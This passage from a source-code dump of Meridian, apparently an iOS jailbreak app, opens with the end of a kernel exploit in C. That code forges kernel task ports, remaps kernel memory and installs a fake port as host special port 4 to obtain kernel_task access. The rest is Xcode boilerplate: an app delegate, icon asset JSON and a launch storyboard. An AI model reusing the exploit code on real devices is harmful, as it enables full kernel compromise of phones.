0, 0, 0, 0);\n    LOG(\"zm_range: \" ADDR \"-\" ADDR \", %s\", zm_hdr.start, zm_hdr.end, errstr(r));\n    if(r != 0 || !zm_hdr.start || !zm_hdr.end)\n    {\n        goto out;\n    }\n    if(zm_hdr.end - zm_hdr.start > 0x100000000)\n    {\n        LOG(\"zone_map is too big, sorry.\");\n        goto out;\n    }\n    kptr_t zm_tmp = 0; // macro scratch space\n#   define ZM_FIX_ADDR(addr) \\\n( \\\nzm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \\\nzm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \\\n)\n#else\n#   define ZM_FIX_ADDR(addr) (addr)\n#endif\n    \n    kptr_t ptrs[2] = { 0 };\n    ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));\n    ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));\n    LOG(\"zm_port addr: \" ADDR, ptrs[0]);\n    LOG(\"km_port addr: \" ADDR, ptrs[1]);\n    \n    KCALL(OFF(ipc_kobject_set), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0);\n    KCALL(OFF(ipc_kobject_set), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0);\n    \n    r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0);\n    LOG(\"copyin: %s\", errstr(r));\n    if(r != 0)\n    {\n        goto out;\n    }\n    mach_msg_type_number_t mapsNum = 0;\n    ret = mach_ports_lookup(self, &maps, &mapsNum);\n    LOG(\"mach_ports_lookup: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    LOG(\"zone_map port: %x\", maps[0]);\n    LOG(\"kernel_map port: %x\", maps[1]);\n    if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1]))\n    {\n        goto out;\n    }\n    // Clean out the pointers without dropping refs\n    ptrs[0] = ptrs[1] = 0;\n    r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0);\n    LOG(\"copyin: %s\", errstr(r));\n    if(r != 0)\n    {\n        goto out;\n    }\n    \n    mach_vm_address_t remap_addr = 0;\n    ret = mach_vm_remap(maps[1], &remap_addr, off->sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE);\n    LOG(\"mach_vm_remap: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    LOG(\"remap_addr: 0x%016llx\", remap_addr);\n    \n    ret = mach_vm_wire(realhost, maps[1], remap_addr, off->sizeof_task, VM_PROT_READ | VM_PROT_WRITE);\n    LOG(\"mach_vm_wire: %s\", mach_error_string(ret));\n    if(ret != KERN_SUCCESS)\n    {\n        goto out;\n    }\n    \n    kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0));\n    LOG(\"newport: \" ADDR, newport);\n    KCALL(OFF(ipc_kobject_set), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0);\n    KCALL(OFF(ipc_port_make_send), newport, 0, 0, 0, 0, 0, 0);\n    r = KCALL(OFF(copyin), &newport, OFF(realhost) + off->realhost_special + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0);\n    LOG(\"copyin: %s\", errstr(r));\n    if(r != 0)\n    {\n        goto out;\n    }\n    \n    task_t kernel_task = MACH_PORT_NULL;\n    ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task);\n    LOG(\"kernel_task: %x, %s\", kernel_task, mach_error_string(ret));\n    if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task))\n    {\n        goto out;\n    }\n    \n    if(callback)\n    {\n        ret = callback(kernel_task, kbase, cb_data);\n        if(ret != KERN_SUCCESS)\n        {\n            LOG(\"callback returned error: %s\", mach_error_string(ret));\n            goto out;\n        }\n    }\n    \n    retval = KERN_SUCCESS;\n    \nout:;\n    LOG(\"Cleaning up...\");\n    usleep(100000); // Allow logs to propagate\n    if(maps)\n    {\n        RELEASE_PORT(maps[0]);\n        RELEASE_PORT(maps[1]);\n    }\n    RELEASE_PORT(fakeport);\n    for(size_t i = 0; i < NUM_AFTER; ++i)\n    {\n        RELEASE_PORT(after[i]);\n    }\n    RELEASE_PORT(port);\n    for(size_t i = 0; i < NUM_BEFORE; ++i)\n    {\n        RELEASE_PORT(before[i]);\n    }\n    RELEASE_PORT(realport);\n    RELEASE_PORT(stuffport);\n    RELEASE_PORT(client);\n    my_mach_zone_force_gc(host);\n    if(shmem_addr != 0)\n    {\n        _kernelrpc_mach_vm_deallocate_trap(self, shmem_addr, shmemsz);\n        shmem_addr = 0;\n    }\n    if(dict_prep)\n    {\n        free(dict_prep);\n    }\n    if(dict_big)\n    {\n        free(dict_big);\n    }\n    if(dict_small)\n    {\n        free(dict_small);\n    }\n    if(resp)\n    {\n        free(resp);\n    }\n    \n    // Pass through error code, if existent\n    if(retval != KERN_SUCCESS && ret != KERN_SUCCESS)\n    {\n        retval = ret;\n    }\n    return retval;\n}\n"
  },
  {
    "path": "Meridian/Meridian/views/AppDelegate.h",
    "content": "//\n//  AppDelegate.h\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface AppDelegate : UIResponder <UIApplicationDelegate>\n\n@property (strong, nonatomic) UIWindow *window;\n\n\n@end\n\n"
  },
  {
    "path": "Meridian/Meridian/views/AppDelegate.m",
    "content": "//\n//  AppDelegate.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 22/12/2017.\n//  Copyright © 2017 Ben Sparkes. All rights reserved.\n//\n\n#import \"AppDelegate.h\"\n\n@interface AppDelegate ()\n\n@end\n\n@implementation AppDelegate\n\n\n- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {\n    // Override point for customization after application launch.\n    return YES;\n}\n\n\n- (void)applicationWillResignActive:(UIApplication *)application {\n    // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.\n    // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.\n}\n\n\n- (void)applicationDidEnterBackground:(UIApplication *)application {\n    // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.\n    // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.\n}\n\n\n- (void)applicationWillEnterForeground:(UIApplication *)application {\n    // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.\n}\n\n\n- (void)applicationDidBecomeActive:(UIApplication *)application {\n    // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.\n}\n\n\n- (void)applicationWillTerminate:(UIApplication *)application {\n    // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.\n}\n\n\n@end\n"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-20x20@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-20x20@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-29x29@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-29x29@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-29x29@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-40x40@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-40x40@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"57x57\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-57x57@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"57x57\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-57x57@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"60x60\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-60x60@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"60x60\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-60x60@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-20x20@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-20x20@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-29x29@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-29x29@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-40x40@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-40x40@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"50x50\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-Small-50x50@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"50x50\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-Small-50x50@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"72x72\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-72x72@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"72x72\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-72x72@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"76x76\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-76x76@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"76x76\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-76x76@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"83.5x83.5\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-83.5x83.5@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"1024x1024\",\n      \"idiom\" : \"ios-marketing\",\n      \"filename\" : \"ItunesArtwork@2x.png\",\n      \"scale\" : \"1x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-20x20@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-20x20@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-29x29@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-29x29@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-29x29@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-40x40@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-40x40@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"57x57\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-57x57@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"57x57\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-57x57@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"60x60\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-60x60@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"60x60\",\n      \"idiom\" : \"iphone\",\n      \"filename\" : \"Icon-App-60x60@3x.png\",\n      \"scale\" : \"3x\"\n    },\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-20x20@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"20x20\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-20x20@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-29x29@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"29x29\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-29x29@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-40x40@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"40x40\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-40x40@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"50x50\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-Small-50x50@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"50x50\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-Small-50x50@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"72x72\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-72x72@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"72x72\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-72x72@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"76x76\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-76x76@1x.png\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"size\" : \"76x76\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-76x76@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"83.5x83.5\",\n      \"idiom\" : \"ipad\",\n      \"filename\" : \"Icon-App-83.5x83.5@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"size\" : \"1024x1024\",\n      \"idiom\" : \"ios-marketing\",\n      \"filename\" : \"ItunesArtwork@2x.png\",\n      \"scale\" : \"1x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Contents.json",
    "content": "{\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/Contents.json",
    "content": "{\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"archive@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"archive@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"console@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"console@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"gears@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"gears@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"hammer@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"hammer@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"handshake@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"handshake@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"jail@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"jail@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"ladybug@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"ladybug@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/list.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"list@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"list@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/settings.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"settings@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"settings@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/source_code.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"source_code@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"source_code@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/synchronize.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"synchronize@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"synchronize@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/trash.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"trash@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"trash@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/twitter.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"twitter@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"twitter@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Icons/www.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"www@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"www@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  },\n  \"properties\" : {\n    \"template-rendering-intent\" : \"template\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Map.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"DarkMap.png\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Assets.xcassets/Splash.imageset/Contents.json",
    "content": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"universal\",\n      \"scale\" : \"1x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"splash@2x.png\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\" : \"universal\",\n      \"filename\" : \"splash@3x.png\",\n      \"scale\" : \"3x\"\n    }\n  ],\n  \"info\" : {\n    \"version\" : 1,\n    \"author\" : \"xcode\"\n  }\n}"
  },
  {
    "path": "Meridian/Meridian/views/Base.lproj/LaunchScreen.storyboard",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3.0\" toolsVersion=\"14109\" targetRuntime=\"iOS.CocoaTouch\" propertyAccessControl=\"none\" useAutolayout=\"YES\" launchScreen=\"YES\" useTraitCollections=\"YES\" useSafeAreas=\"YES\" colorMatched=\"YES\" initialViewController=\"01J-lp-oVM\">\n    <device id=\"retina5_9\" orientation=\"portrait\">\n        <adaptation id=\"fullscreen\"/>\n    </device>\n    <dependencies>\n        <deployment identifier=\"iOS\"/>\n        <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"14088\"/>\n        <capability name=\"Safe area layout guides\" minToolsVersion=\"9.0\"/>\n        <capability name=\"documents saved in the Xcode 8 format\" minToolsVersion=\"8.0\"/>\n    </dependencies>\n    <scenes>\n        <!--View Controller-->\n        <scene sceneID=\"EHf-IW-A2E\">\n            <objects>\n                <viewController id=\"01J-lp-oVM\" sceneMemberID=\"viewController\">\n                    <view key=\"view\" contentMode=\"scaleToFill\" id=\"Ze5-6b-2t3\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"812\"/>\n                        <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n                        <subviews>\n                            <imageView userInteractionEnabled=\"NO\" contentMode=\"scaleAspectFit\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" image=\"Splash\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"ohw-YH-Vb9\">\n                                <rect key=\"frame\" x=\"87.666666666666686\" y=\"306\" width=\"200\" height=\"200\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"width\" constant=\"200\" id=\"7Zg-hG-9fR\"/>\n                                    <constraint firstAttribute=\"height\" constant=\"200\" id=\"bdt-xm-heE\"/>\n                                </constraints>\n                            </imageView>\n                        </subviews>\n                        <color key=\"backgroundColor\" red=\"0.0\" green=\"0.13725490196078433\" blue=\"0.2196078431372549\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                        <constraints>\n                            <constraint firstItem=\"ohw-YH-Vb9\" firstAttribute=\"centerY\" secondItem=\"Ze5-6b-2t3\" secondAttribute=\"centerY\" id=\"gB5-pM-PGL\"/>\n                            <constraint firstItem=\"ohw-YH-Vb9\" firstAttribute=\"centerX\" secondItem=\"Ze5-6b-2t3\" secondAttribute=\"centerX\" id=\"nIu-Z8-WKF\"/>\n                        </constraints>\n                        <viewLayoutGuide key=\"safeArea\" id=\"6Tk-OE-BBY\"/>\n                    </view>\n                </viewController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"iYj-Kq-Ea1\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"52\" y=\"374.66266866566718\"/>\n        </scene>\n    </scenes>\n    <resources>\n        <image name=\"Splash\" width=\"200\" height=\"200\"/>\n    </resources>\n</document>\n"
  },
  {
